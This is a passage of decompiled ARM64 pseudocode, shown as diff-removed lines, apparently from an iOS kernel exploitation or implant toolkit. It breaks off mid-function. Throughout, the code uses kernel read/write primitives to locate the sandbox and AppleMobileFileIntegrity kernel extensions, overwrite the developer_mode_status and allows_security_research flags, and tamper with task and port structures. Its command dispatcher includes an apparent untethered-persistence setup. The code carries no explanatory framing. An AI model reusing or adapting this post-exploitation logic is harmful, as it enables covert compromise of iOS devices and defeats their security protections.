"com.apple.security.sandbox", &v97) ) - return 0x28018LL; - v77 = calloc(0x128uLL, 1uLL); - if ( !v77 ) - return 0xAD009LL; - v78 = (__int64)v77; - v79 = (v40 >> 0x2B > 0x44A) << 6; - sub_19DD4((__int64)v77, a1); - v80 = v99; - *(_OWORD *)(v78 + 0x70) = v98; - *(_OWORD *)(v78 + 0x80) = v80; - *(_QWORD *)(v78 + 0x90) = v100; - *(_DWORD *)(v78 + 0x98) = *(_DWORD *)(a1 + 0x178); - *(_DWORD *)(v78 + 0x38) = *(_DWORD *)(a1 + 0x180); - if ( v40 > 0x2257FFFFFFFFFFLL ) - { - *(_BYTE *)(v78 + 0x101) = 1; - *(_QWORD *)(v78 + 0xA8) = v51; - } - if ( !sub_1A0D4(v78, *(_DWORD *)(a1 + 0x1918), v97, v79) ) - return 0x28017LL; - *(_DWORD *)(v78 + 0x30) = *(_DWORD *)(v51 + 0x30); - *(_QWORD *)(a1 + 0x1D18) = v78; - if ( !(unsigned int)get_kext_base_addr(a1, "com.apple.driver.AppleMobileFileIntegrity", &v101) ) - return 0x28018LL; - v81 = calloc(0x128uLL, 1uLL); - mach_port_with_a2 = 0xAD009LL; - if ( !v81 ) - return mach_port_with_a2; - v82 = (__int64)v81; - sub_19DD4((__int64)v81, a1); - v83 = v99; - *(_OWORD *)(v82 + 0x70) = v98; - *(_OWORD *)(v82 + 0x80) = v83; - *(_QWORD *)(v82 + 0x90) = v100; - *(_DWORD *)(v82 + 0x98) = *(_DWORD *)(a1 + 0x178); - *(_DWORD *)(v82 + 0x38) = *(_DWORD *)(a1 + 0x180); - if ( v40 > 0x2257FFFFFFFFFFLL ) - { - *(_BYTE *)(v82 + 0x101) = 1; - *(_QWORD *)(v82 + 0xA8) = v51; - } - if ( !sub_1A0D4(v82, *(_DWORD *)(a1 + 0x1918), v101, v79) ) - return 0x28017LL; - *(_DWORD *)(v82 + 0x30) = *(_DWORD *)(v51 + 0x30); - *(_QWORD *)(a1 + 0x1D20) = v82; - } - *(_QWORD *)&v105.st_dev = 0LL; - v69 = *(_QWORD *)(a1 + 0x118); - if ( !v69 || !*(_QWORD *)(a1 + 0x120) || (v70 = *(_QWORD *)(v69 + 0x128), (*(_QWORD *)&v105.st_dev = v70) == 0LL) ) - { - v76 = sub_1E45C(*(_QWORD *)(a1 + 0x19F8)); - if ( !v76 ) - return 0x2801ALL; - if ( !(unsigned int)kreadbuf_last_1(a1, v76, *(int *)(a1 + 0x168), (__int64)&v105) ) - return 0x2801ALL; - v70 = *(_QWORD *)&v105.st_dev; - if ( (v105.st_dev & 1) == 0 ) - return 0x2801ALL; - v84 = *(_QWORD *)(a1 + 0x118); - if ( v84 && *(_QWORD *)(a1 + 0x120) ) - { - *(_QWORD *)(v84 + 0x128) = *(_QWORD *)&v105.st_dev; - v70 = *(_QWORD *)&v105.st_dev; - } - } - *(_QWORD *)(a1 + 0x138) = v70; - sub_36088((_DWORD *)a1, 0x100); - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF - || !*(_QWORD *)(a1 + 0x218) - || (mach_port_with_a2 = sub_26BE4(a1), !(_DWORD)mach_port_with_a2) ) - { - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) < 2 - || !*(_QWORD *)(a1 + 0xD8) - || (mach_port_with_a2 = sub_28364(a1), !(_DWORD)mach_port_with_a2) ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x2257FFFFFFFFFFuLL ) - goto LABEL_280; - LOBYTE(v103) = 0; - if ( (unsigned int)sub_3F9A0((_DWORD *)a1, (bool *)&v103) ) - { - if ( (_BYTE)v103 ) - goto LABEL_280; - if ( (unsigned int)sub_3FA2C((_DWORD *)a1, 1) ) - { - v85 = *(_QWORD *)(a1 + 0x1D20); - if ( !v85 ) - return 0xAD001LL; - variable_addr = kern_get_variable_addr(v85, "__DATA", "__data", "developer_mode_status"); - if ( !variable_addr ) - return 0x2801BLL; - v87 = variable_addr; - mach_port_with_a2 = 0x2800FLL; - if ( !kread64((_DWORD *)a1, variable_addr - 2LL * *(int *)(a1 + 0x168), (__int64 *)&v105.st_dev) ) - return mach_port_with_a2; - if ( *(_QWORD *)&v105.st_dev ) - goto LABEL_280; - v88 = kern_get_variable_addr(*(_QWORD *)(a1 + 0x1D20), "__DATA", "__data", "allows_security_research"); - if ( !v88 ) - return 0x2801BLL; - v89 = v88; - if ( !kread64((_DWORD *)a1, v87, (__int64 *)&v104) ) - return mach_port_with_a2; - if ( !v104 ) - return 0x28026LL; - mach_port_with_a2 = 0x28010LL; - if ( !kwrite64(a1, v89, v104) || !kwrite64(a1, v87, v104 + 0xA) ) - return mach_port_with_a2; -LABEL_280: - if ( v96 || v93 > 0x1F530F027FFFFFLL ) - { - mach_port_with_a2 = sub_3C450(a1, mach_task_self_, 0, 0LL); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - } - if ( v94 ) - { - mach_port_with_a2 = sub_3C9A4(a1, mach_task_self_); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - mach_port_with_a2 = sub_25804(a1); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - } - *(_DWORD *)(a1 + 0x1928) = mach_host_self(); - v71 = sub_3A72C(a1); - *(_DWORD *)(a1 + 0x1920) = v71; - mach_port_with_a2 = 0x2800ELL; - if ( (unsigned int)(*(_DWORD *)(a1 + 0x1928) + 1) < 2 ) - return mach_port_with_a2; - v72 = v71; - if ( v71 + 1 < 2 ) - return mach_port_with_a2; - if ( (*(_DWORD *)a1 & 0x5584001) != 0 ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) - { - v73 = sub_3A878(a1); - *(_DWORD *)(a1 + 0x1924) = v73; - if ( (unsigned int)(v73 + 1) < 2 ) - return mach_port_with_a2; - goto LABEL_291; - } -LABEL_293: - sub_3B7E0(a1, mach_task_self_, v72); - if ( !v74 ) - return 0x28008LL; - krw_ctx_set_flag((_DWORD *)a1, 0x10); - } - else - { -LABEL_291: - if ( *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL ) - { - v72 = *(_DWORD *)(a1 + 0x1920); - goto LABEL_293; - } - } - v75 = *(_DWORD *)(a1 + 0x1920); - if ( v75 + 1 < 2 ) - return 0xAD001LL; - v105.st_dev = 0; - if ( host_get_special_port(v75, 0xFFFFFFFF, 0x10, (mach_port_t *)&v105) ) - return 0xAD00BLL; - if ( (unsigned int)(v105.st_dev + 1) >= 2 ) - { - mach_port_deallocate(mach_task_self_, v105.st_dev); - return 0xAD024LL; - } - mach_port_with_a2 = sub_2A8A4(a1); - if ( (_DWORD)mach_port_with_a2 ) - return mach_port_with_a2; - if ( v95 || !a2 ) - return 0LL; - v90 = *(_QWORD *)(a1 + 0x158); - if ( v90 <= 0x27120F04B00002LL ) - { - if ( v90 <= 0x225C1E804FFFFFLL ) - { - if ( v90 <= 0x225C19804FFFFFLL ) - { - if ( v90 <= 0x1F530F027FFFFFLL || (*(_DWORD *)a1 & 0x5584001) == 0 && v90 <= 0x1F5418FFFFFFFFLL ) - { - v91 = sub_1CF1C(a1); - goto LABEL_350; - } - } - else if ( (*(_DWORD *)a1 & 0x5584001) == 0 || (*(_DWORD *)a1 & 1) != 0 ) - { - goto LABEL_349; - } - v91 = sub_1D1B0(a1); - goto LABEL_350; - } - } - else if ( (*(_BYTE *)a1 & 0x20) != 0 ) - { - v91 = sub_AC50(a1) == 0; -LABEL_350: - if ( !v91 ) - return 0x2801CLL; - return 0LL; - } -LABEL_349: - v91 = (unsigned int)sub_1D4A0(a1); - goto LABEL_350; - } - return 0x28003LL; - } - return v8; - } - } - return mach_port_with_a2; -} -// 3CDA8: variable 'v7' is possibly undefined -// 3DDB8: variable 'v74' is possibly undefined -// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); -// 43730: using guessed type __int128 xmmword_43730; - -//----- (000000000003E1D8) ---------------------------------------------------- -bool __fastcall sub_3E1D8(__int64 a1, unsigned int a2) -{ - unsigned __int64 v3; // x21 - unsigned __int64 v4; // x0 - __int64 v5; // x8 - int v6; // w10 - int v7; // w11 - __int64 v8; // x9 - unsigned int v9; // w20 - __int64 v10; // x20 - __int64 v11; // x1 - __int64 v12; // x0 - __int64 v13; // x3 - __int64 v14; // x8 - __int64 v16; // [xsp+8h] [xbp-48h] BYREF - __int64 v17; // [xsp+10h] [xbp-40h] BYREF - __int64 v18; // [xsp+18h] [xbp-38h] BYREF - int v19; // [xsp+24h] [xbp-2Ch] BYREF - __int64 v20; // [xsp+28h] [xbp-28h] BYREF - - v3 = *(_QWORD *)(a1 + 0x158); - v4 = port_name_to_kaddr(a1, a2); - if ( !v4 ) - return 0LL; - v5 = 0LL; - v6 = v3 <= 0x18090A095FFFFFLL ? 0x38 : 0x30; - v7 = *(_DWORD *)(a1 + 0x140); - if ( v7 > 0x2257 ) - { - v9 = 0x160; - v8 = 0x308LL; - if ( v7 != 0x2258 && v7 != 0x225C && v7 != 0x2712 ) - return v5; - } - else if ( (unsigned int)(v7 - 0x1F53) < 2 ) - { - v8 = 0x310LL; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) - v8 = 0x338LL; - v9 = 0x160; - } - else if ( v7 == 0x1809 ) - { - v9 = 0xA * v6; - v8 = 0x328LL; - } - else - { - if ( v7 != 0x1C1B ) - return v5; - v8 = 0x340LL; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) - v8 = 0x338LL; - v9 = 0xA * v6; - } - if ( !kread64((_DWORD *)a1, v8 + v4, &v20) ) - return 0LL; - if ( !validate_addr(a1, v20) ) - return 0LL; - v10 = v20 + v9 + 0x18; - if ( !(unsigned int)kreadbuf_last_1(a1, v10, 4LL, (__int64)&v19) ) - return 0LL; - if ( (v19 & 1) == 0 ) - return 0LL; - v18 = 0x7FFFFFFFFFFFFFFFLL; - if ( !(unsigned int)kwritebuf_last_1(a1, v10 + 8, (__int64)&v18, 8LL) ) - return 0LL; - if ( v3 < 0x18090A09600000LL ) - { - v17 = 0x7FFFFFFFFFFFFFFFLL; - v11 = v10 + 0x10; - v12 = a1; - v13 = 8LL; - } - else - { - LOWORD(v17) = 0xFFFF; - v11 = v10 + 4; - v12 = a1; - v13 = 2LL; - } - if ( !(unsigned int)kwritebuf_last_1(v12, v11, (__int64)&v17, v13) ) - return 0LL; - v19 &= 0xFFFFCB0F; - if ( !(unsigned int)kwritebuf_last_1(a1, v10, (__int64)&v19, 4LL) ) - return 0LL; - v16 = 0LL; - v14 = 0x30LL; - if ( v3 > 0x18090A095FFFFFLL ) - v14 = 0x28LL; - return (unsigned int)kwritebuf_last_1(a1, v10 + v14, (__int64)&v16, 8LL) != 0; -} - -//----- (000000000003E42C) ---------------------------------------------------- -__int64 __fastcall driver_init2(__int64 *a1, char a2) -{ - void *v4; // x0 - __int64 v5; // x19 - __int64 v6; // x21 - - v4 = calloc(0x1D60uLL, 1uLL); - if ( !v4 ) - return 0xAD009LL; - v5 = (__int64)v4; - v6 = driver_init2_1((__int64)v4, (a2 & 1) == 0); - if ( !(_DWORD)v6 ) - { - if ( (unsigned int)check_rootfs_rw(v5, (int *)(v5 + 0x258)) ) - { - *a1 = v5; - sub_3E4D0((_QWORD *)v5); - return 0LL; - } - sub_3E4D0((_QWORD *)v5); - v6 = 0x28021LL; - } - free((void *)v5); - return v6; -} - -//----- (000000000003E4D0) ---------------------------------------------------- -__int64 __fastcall sub_3E4D0(_QWORD *a1) -{ - __int64 v2; // x0 - __int64 v3; // x0 - __int64 v4; // x0 - __int64 v5; // x0 - __int64 v6; // x0 - __int64 result; // x0 - __int64 vars8; // [xsp+18h] [xbp+8h] - - v2 = a1[0x33F]; - if ( v2 ) - sub_19854(v2); - v3 = a1[0x3A3]; - if ( v3 ) - sub_19854(v3); - v4 = a1[0x3A4]; - if ( v4 ) - sub_19854(v4); - v5 = a1[0x3A5]; - if ( v5 ) - sub_19854(v5); - v6 = a1[0x3A6]; - if ( v6 ) - sub_19854(v6); - result = a1[0x3A7]; - if ( result ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return sub_19854(result); - } - return result; -} -// 3E534: variable 'vars8' is possibly undefined - -//----- (000000000003E550) ---------------------------------------------------- -__int64 __fastcall driver_dispatch_command2( - __int64 a1, - int a2, - __int64 a3, - __int64 a4, - __int64 a5, - __int64 a6, - __int64 a7, - __int64 a8, - __int64 a9) -{ - return driver_dispatch_command3(a1, a2, a9); -} - -//----- (000000000003E580) ---------------------------------------------------- -// positive sp value has been detected, the output may be wrong! -__int64 __fastcall driver_dispatch_command3(__int64 a1, int a2, __int64 a3) -{ - __int64 v3; // x20 - __int64 v6; // x21 - __int64 result; // x0 - int v8; // w8 - __int64 v9; // x0 - int v10; // w0 - int v11; // w0 - int v12; // w22 - unsigned int v13; // w1 - __int64 v14; // [xsp-50h] [xbp-90h] BYREF - int v15; // [xsp-48h] [xbp-88h] BYREF - _BOOL4 v16; // [xsp-44h] [xbp-84h] BYREF - - v3 = a3; - v6 = 0xAD008LL; - if ( !((unsigned int)a2 >> 0x1E) || (result = 0xAD001LL, a3) ) - { - *(_OWORD *)(a1 + 0x18B8) = 0u; - sub_36088((_DWORD *)a1, 0x800000); - sub_21304(a1); - result = sub_3C450(a1, mach_task_self_, 0, 0LL); - if ( !(_DWORD)result ) - { - if ( BYTE1(a2) != 3 ) - { - if ( BYTE1(a2) != 1 ) - { - if ( !BYTE1(a2) ) - { - if ( a2 > 0x40000003 ) - { - switch ( a2 ) - { - case 0x40000018: - JUMPOUT(0x3ECECLL); - case 0x40000019: - JUMPOUT(0x3EE6CLL); - case 0x4000001B: - JUMPOUT(0x3EE88LL); - case 0x4000001E: - JUMPOUT(0x3EEACLL); - case 0x40000021: - JUMPOUT(0x3EED4LL); - case 0x40000023: - JUMPOUT(0x3EEE4LL); - default: - break; - } - } - else - { - switch ( a2 ) - { - case 1: - LODWORD(v14) = 0; - v16 = 0; - if ( sub_33E8C(a1, mach_task_self_) ) - { - v8 = *(_DWORD *)(a1 + 0x140); - if ( v8 <= 0x1F53 ) - JUMPOUT(0x3F050LL); - if ( v8 > 0x225B ) - JUMPOUT(0x3F088LL); - if ( v8 == 0x1F54 ) - JUMPOUT(0x3F0ACLL); - if ( v8 == 0x2258 ) - JUMPOUT(0x3F0CCLL); - } - JUMPOUT(0x3F164LL); - case 2: - JUMPOUT(0x3EC30LL); - case 3: - JUMPOUT(0x3EC38LL); - case 4: - case 5: - case 0xE: - case 0x10: - case 0x11: - case 0x12: - case 0x18: - case 0x19: - case 0x1B: - case 0x1C: - case 0x1D: - case 0x1E: - case 0x20: - case 0x21: - case 0x23: - case 0x24: - case 0x25: - break; - case 6: - JUMPOUT(0x3EC54LL); - case 7: - JUMPOUT(0x3EC64LL); - case 8: - JUMPOUT(0x3ECA4LL); - case 9: - JUMPOUT(0x3ECBCLL); - case 0xA: - JUMPOUT(0x3ECC4LL); - case 0xB: - JUMPOUT(0x3ECD4LL); - case 0xC: - JUMPOUT(0x3ECF4LL); - case 0xD: - JUMPOUT(0x3ED0CLL); - case 0xF: - JUMPOUT(0x3ED14LL); - case 0x13: - JUMPOUT(0x3ED2CLL); - case 0x14: - JUMPOUT(0x3ED48LL); - case 0x15: - JUMPOUT(0x3ED5CLL); - case 0x16: - JUMPOUT(0x3ED74LL); - case 0x17: - JUMPOUT(0x3ED90LL); - case 0x1A: - JUMPOUT(0x3EDA8LL); - case 0x1F: - JUMPOUT(0x3EDC4LL); - case 0x22: - JUMPOUT(0x3EDF8LL); - case 0x26: - JUMPOUT(0x3EE18LL); - default: - JUMPOUT(0x3E904LL); - } - } - v6 = 0xAD008LL; - } - goto LABEL_74; - } - LODWORD(v14) = v3; - v16 = 0; - if ( a2 > 0x108 ) - { - if ( a2 > 0x10C ) - { - switch ( a2 ) - { - case 0x10D: - if ( *(_QWORD *)(a1 + 0x158) >> 0x2B >= 0x44BuLL ) - sub_3FA2C((_DWORD *)a1, v3 != 0); - break; - case 0x4000010A: - sub_223A4(a1, *(_DWORD *)v3, *(_DWORD *)(v3 + 4), *(_QWORD *)(v3 + 0x10)); - break; - case 0x40000105: - sub_22464(a1, v3, 0x14); - break; - } - goto LABEL_108; - } - if ( a2 != 0x109 ) - { - if ( a2 == 0x10C ) - { - if ( !v3 ) - v3 = _CFProcessPath(); - v11 = open((const char *)v3, 0, v14); - if ( v11 == 0xFFFFFFFF ) - { - __error(); - __error(); - } - else - { - v12 = v11; - sub_2F7BC((_DWORD *)a1, v11); - close(v12); - } - } - goto LABEL_108; - } - v13 = v3 & 0xF; - if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL ) -LABEL_111: - JUMPOUT(0x3EF8CLL); - if ( v13 > 2 ) - JUMPOUT(0x3EEFCLL); - sub_14524((_DWORD *)a1, v13); -LABEL_108: - JUMPOUT(0x3EF90LL); - } - if ( a2 > (int)0x8000010C ) - { - if ( a2 != 0x8000010D ) - { - if ( a2 == 0xC000010B ) - { - if ( (*(_DWORD *)v3 & 4) != 0 ) - { - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - JUMPOUT(0x3EF10LL); - sub_1308C((_DWORD *)a1); - } - JUMPOUT(0x3EF34LL); - } - goto LABEL_108; - } - v10 = 0; - LOBYTE(v15) = 0; - if ( *(_QWORD *)(a1 + 0x158) >> 0x2B >= 0x44BuLL ) - { - v10 = sub_3F9A0((_DWORD *)a1, (bool *)&v15); - if ( v10 ) - LODWORD(v14) = (unsigned __int8)v15; - } - } - else - { - if ( a2 == 0x80000108 ) - { - v15 = 0x400; - if ( !(unsigned int)sub_14BEC(a1, (void *)(v3 + 0x10), &v15, &v16) ) - goto LABEL_108; - if ( v16 ) - *(_DWORD *)v3 = 1; - if ( !v15 ) - JUMPOUT(0x3EF08LL); - *(_DWORD *)v3 |= 2u; - goto LABEL_111; - } - if ( a2 != 0x80000109 ) - goto LABEL_108; - v10 = check_rootfs_rw(a1, (int *)&v14); - } - if ( v10 ) - *(_DWORD *)v3 = v14; - JUMPOUT(0x3EF98LL); - } - if ( *(_QWORD *)(a1 + 0x158) > 0x1F52FFFFFFFFFFuLL && *(int *)(a1 + 0x140) <= 0x2257 ) - { - if ( a2 > 0x40000300 ) - { - switch ( a2 ) - { - case 0x40000301: - v9 = driver_cmd_setup_untethered_persistence_maybe(a1, *(_DWORD *)v3); - goto LABEL_72; - case 0x40000304: - v9 = sub_1FA28(a1, *(_DWORD *)(v3 + 0xC)); - goto LABEL_72; - case 0x40000305: - v9 = sub_1F900( - a1, - *(_DWORD *)v3, - *(_QWORD *)(v3 + 8), - *(_QWORD *)(v3 + 0x10), - *(_DWORD *)(v3 + 0x18), - *(_QWORD *)(v3 + 0x20)); - goto LABEL_72; - case 0x40000306: - v9 = sub_20468(a1, v3, 0x14); - goto LABEL_72; - default: - goto LABEL_74; - } - goto LABEL_74; - } - switch ( a2 ) - { - case 0x80000306: - v9 = sub_203B0(a1, (_DWORD *)v3, (char *)(v3 + 0x10)); - goto LABEL_72; - case 0xC0000303: - v9 = sub_1FA7C(a1, *(_QWORD *)v3, *(_DWORD *)(v3 + 8), v3 + 0xC); - goto LABEL_72; - case 0x302: - v9 = sub_1FC94(a1); -LABEL_72: - v6 = v9; - break; - } - } -LABEL_74: - sub_3E4D0((_QWORD *)a1); - return v6; - } - } - return result; -} -// 3F19C: positive sp value 50 has been found -// 3E658: control flows out of bounds to 3EC30 -// 3E658: control flows out of bounds to 3EC38 -// 3E658: control flows out of bounds to 3EC54 -// 3E658: control flows out of bounds to 3EC64 -// 3E658: control flows out of bounds to 3ECA4 -// 3E658: control flows out of bounds to 3ECBC -// 3E658: control flows out of bounds to 3ECC4 -// 3E658: control flows out of bounds to 3ECD4 -// 3E658: control flows out of bounds to 3ECF4 -// 3E658: control flows out of bounds to 3ED0C -// 3E658: control flows out of bounds to 3ED14 -// 3E658: control flows out of bounds to 3ED2C -// 3E658: control flows out of bounds to 3ED48 -// 3E658: control flows out of bounds to 3ED5C -// 3E658: control flows out of bounds to 3ED74 -// 3E658: control flows out of bounds to 3ED90 -// 3E658: control flows out of bounds to 3EDA8 -// 3E658: control flows out of bounds to 3EDC4 -// 3E658: control flows out of bounds to 3EDF8 -// 3E658: control flows out of bounds to 3EE18 -// 3E658: control flows out of bounds to 3E904 -// 3E814: control flows out of bounds to 3EE6C -// 3E814: control flows out of bounds to 3EE88 -// 3E814: control flows out of bounds to 3EEAC -// 3E814: control flows out of bounds to 3EED4 -// 3E814: control flows out of bounds to 3EEE4 -// 3E8F0: control flows out of bounds to 3EB9C -// 3E8F0: control flows out of bounds to 3EBB0 -// 3E8F0: control flows out of bounds to 3EBCC -// 3E8F0: control flows out of bounds to 3EBF0 -// 3E8F0: control flows out of bounds to 3EC10 -// 3E8F0: control flows out of bounds to 0 -// 3E688: control flows out of bounds to 3F050 -// 3E694: control flows out of bounds to 3F088 -// 3E6A0: control flows out of bounds to 3F0AC -// 3E6AC: control flows out of bounds to 3F164 -// 3E6B8: control flows out of bounds to 3F0CC -// 3E774: control flows out of bounds to 3EF90 -// 3E828: control flows out of bounds to 3ECEC -// 3E900: control flows out of bounds to 3EC48 -// 3EA1C: control flows out of bounds to 3EF8C -// 3EA88: control flows out of bounds to 3EF98 -// 3EABC: control flows out of bounds to 3EF34 -// 3EACC: control flows out of bounds to 3EEFC -// 3EA08: control flows out of bounds to 3EF08 -// 3EAA4: control flows out of bounds to 3EF10 -// 3E7E0: conditional instruction was optimized away because w22.4>=40000004 - -//----- (000000000003E904) ---------------------------------------------------- -// positive sp value has been detected, the output may be wrong! -__int64 __fastcall def_3E658(int a1) -{ - _DWORD *v1; // x19 - __int64 v2; // x20 - __int64 v3; // x21 - int v4; // w22 - - switch ( v4 ) - { - case 0xC000001B: - if ( krw_ctx_has_flag(v1, 0x5184001) ) - { - sub_3B524((__int64)v1, *(_DWORD *)v2, (bool *)(v2 + 4), (_BYTE *)(v2 + 6), (bool *)(v2 + 5)); - JUMPOUT(0x3F164LL); - } - JUMPOUT(0x3EFB4LL); - case 0xC000001C: - case 0xC000001E: - case 0xC000001F: - case 0xC0000021: - case 0xC0000022: - if ( (unsigned int)v3 | a1 ) - v3 = (unsigned int)v3; - else - v3 = 0x28003LL; - sub_3E4D0(v1); - return v3; - case 0xC000001D: - JUMPOUT(0x3EE28LL); - case 0xC0000020: - JUMPOUT(0x3EE40LL); - case 0xC0000023: - JUMPOUT(0x3EE54LL); - default: - JUMPOUT(0x3EB84LL); - } -} -// 3F19C: positive sp value 50 has been found -// 3E934: control flows out of bounds to 3EE28 -// 3E934: control flows out of bounds to 3EE40 -// 3E934: control flows out of bounds to 3EE54 -// 3E934: control flows out of bounds to 3EB84 -// 3E964: control flows out of bounds to 3F164 -// 3E948: control flows out of bounds to 3EFB4 -// 3E904: could not find valid save-restore pair for x23 -// 3E904: could not find valid save-restore pair for x24 -// 3E934: variable 'v4' is possibly undefined -// 3E944: variable 'v1' is possibly undefined -// 3E950: variable 'v2' is possibly undefined -// 3F168: variable 'v3' is possibly undefined - -//----- (000000000003EB84) ---------------------------------------------------- -// positive sp value has been detected, the output may be wrong! -__int64 __fastcall def_3E934(int a1) -{ - _QWORD *v1; // x19 - host_t *v2; // x20 - __int64 v3; // x21 - int v4; // w22 - task_inspect_t *v5; // x23 - - if ( v4 == 0x8000001C ) - { - sub_3FE68((__int64)v1, *v5, v2); - LODWORD(v3) = 0; - } - if ( (unsigned int)v3 | a1 ) - v3 = (unsigned int)v3; - else - v3 = 0x28003LL; - sub_3E4D0(v1); - return v3; -} -// 3F19C: positive sp value 50 has been found -// 3EB84: could not find valid save-restore pair for x24 -// 3EB90: variable 'v4' is possibly undefined -// 3EE4C: variable 'v1' is possibly undefined -// 3EB94: variable 'v5' is possibly undefined -// 3EE4C: variable 'v2' is possibly undefined -// 3F168: variable 'v3' is possibly undefined -// 3F168: variable 'a1' is possibly undefined - -//----- (000000000003F2E0) ---------------------------------------------------- -__int64 __fastcall sub_3F2E0(__int64 a1) -{ - __int64 v2; // x20 - unsigned int v4; // w1 - int v5; // w0 - int v6; // w22 - mach_port_t v7; // w1 - int v8; // w2 - int v9; // w0 - int v10; // [xsp+Ch] [xbp-24h] BYREF - - *(_OWORD *)(a1 + 0x18B8) = 0u; - sub_36088((_DWORD *)a1, 0x800000); - sub_21304(a1); - v2 = sub_3C450(a1, mach_task_self_, 0, 0LL); - if ( (_DWORD)v2 ) - return v2; - v2 = 0x2801FLL; - if ( krw_ctx_has_flag((_DWORD *)a1, 0x400) ) - { - v10 = 0; - if ( !(unsigned int)check_rootfs_rw(a1, &v10) ) - return 0x28020LL; - if ( v10 != 3 ) - { - v4 = *(_DWORD *)(a1 + 0x258); - if ( v4 >= 2 ) - { - if ( v4 != 3 ) - return 0x28020LL; - v4 = 0; - } - if ( v10 == v4 || (unsigned int)sub_14524((_DWORD *)a1, v4) ) - goto LABEL_11; - return 0x28020LL; - } - } -LABEL_11: - if ( !krw_ctx_has_flag((_DWORD *)a1, 4) || (sub_23D30(a1, 0), v5) ) - { - if ( !*(_QWORD *)(a1 + 0x1900) || (unsigned int)sub_39CC0(a1, mach_task_self_, 2, a1 + 0x1908, 8LL) ) - { - if ( (v6 = *(_DWORD *)(a1 + 0x192C), (unsigned int)(v6 + 1) < 2) - || v6 != mach_thread_self() - || ((v7 = mach_thread_self(), *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL) ? (v8 = 1) : (v8 = 0x4000000), - (unsigned int)set_flags_something_INEEDTOLOOK_sub_3F8C0(a1, v7, v8, 0)) ) - { - if ( !*(_QWORD *)(a1 + 0x1910) - || (unsigned int)sub_3A150(a1, *(_DWORD *)(a1 + 0x1910), *(_DWORD *)(a1 + 0x1914), 0) ) - { - if ( mach_host_self() == *(_DWORD *)(a1 + 0x1928) - || krw_ctx_has_flag((_DWORD *)a1, 0x10) - || (sub_3B7E0(a1, mach_task_self_, *(_DWORD *)(a1 + 0x1928)), v9) ) - { - sub_3E4D0((_QWORD *)a1); - return 0LL; - } - } - } - } - } - return v2; -} -// 3F3D4: variable 'v5' is possibly undefined -// 3F4A0: variable 'v9' is possibly undefined - -//----- (000000000003F4BC) ---------------------------------------------------- -__int64 __fastcall driver_close_internal(char *a1) -{ - void (__fastcall *v2)(char *); // x8 - mach_port_name_t v3; // w1 - int v4; // w0 - int v5; // w0 - int v6; // w0 - int v7; // w0 - int v8; // w0 - mach_port_name_t v9; // w1 - io_object_t v10; // w0 - vm_address_t v11; // x1 - vm_size_t v12; // x2 - semaphore_t v13; // w1 - _DWORD *v14; // x21 - mach_port_name_t v15; // w1 - _DWORD *v16; // x23 - __int64 v17; // x0 - __int64 v18; // x0 - __int64 v19; // x0 - __int64 v20; // x0 - __int64 v21; // x0 - __int64 v22; // x0 - __int64 v23; // x0 - void *v24; // x0 - mach_port_name_t v25; // w1 - int v27; // [xsp+Ch] [xbp-34h] BYREF - - sub_12EF8((__int64)a1); - sub_38764((__int64)a1); - v2 = (void (__fastcall *)(char *))*((_QWORD *)a1 + 0x3A); - if ( v2 ) - v2(a1); - v3 = *((_DWORD *)a1 + 0x646); - if ( v3 + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, v3); - if ( *((_DWORD *)a1 + 0x64E) != 0xFFFFFFFF - || *((_DWORD *)a1 + 0x64F) != 0xFFFFFFFF - || *((_DWORD *)a1 + 0x64C) != 0xFFFFFFFF - || *((_DWORD *)a1 + 0x64D) != 0xFFFFFFFF - || *((_DWORD *)a1 + 0x650) != 0xFFFFFFFF ) - { - v27 = 0xFFFFFFFF; - if ( !(unsigned int)fd_open_dev_null(&v27) ) - { - v4 = *((_DWORD *)a1 + 0x64E); - if ( v4 != 0xFFFFFFFF ) - { - close(v4); - *((_DWORD *)a1 + 0x64E) = 0xFFFFFFFF; - } - v5 = *((_DWORD *)a1 + 0x64F); - if ( v5 != 0xFFFFFFFF ) - { - close(v5); - *((_DWORD *)a1 + 0x64F) = 0xFFFFFFFF; - } - v6 = *((_DWORD *)a1 + 0x650); - if ( v6 != 0xFFFFFFFF ) - { - close(v6); - *((_DWORD *)a1 + 0x650) = 0xFFFFFFFF; - } - v7 = *((_DWORD *)a1 + 0x64C); - if ( v7 != 0xFFFFFFFF ) - { - close(v7); - *((_DWORD *)a1 + 0x64C) = 0xFFFFFFFF; - } - v8 = *((_DWORD *)a1 + 0x64D); - if ( v8 != 0xFFFFFFFF ) - { - close(v8); - *((_DWORD *)a1 + 0x64D) = 0xFFFFFFFF; - } - fd_close(v27); - } - } - if ( *((_QWORD *)a1 + 5) ) - sub_26B00((__int64)a1, 1); - if ( *((_QWORD *)a1 + 0x2B) >= 0x27120F04B00003uLL && (*a1 & 0x20) != 0 ) - sub_A9CC((__int64)a1); - if ( *((_QWORD *)a1 + 0x3A9) ) - { - v27 = 0xFFFFFFFF; - if ( !(unsigned int)fd_open_dev_null(&v27) ) - { - sub_28D44((__int64)a1); - fd_close(v27); - } - } - if ( (unsigned int)(*((_DWORD *)a1 + 0x17) + 1) >= 2 ) - { - v27 = 0xFFFFFFFF; - if ( !(unsigned int)fd_open_dev_null(&v27) ) - { - sub_27478((__int64)a1); - fd_close(v27); - } - } - if ( (unsigned int)(*((_DWORD *)a1 + 0x2B) + 1) >= 2 ) - { - v27 = 0xFFFFFFFF; - if ( !(unsigned int)fd_open_dev_null(&v27) ) - { - 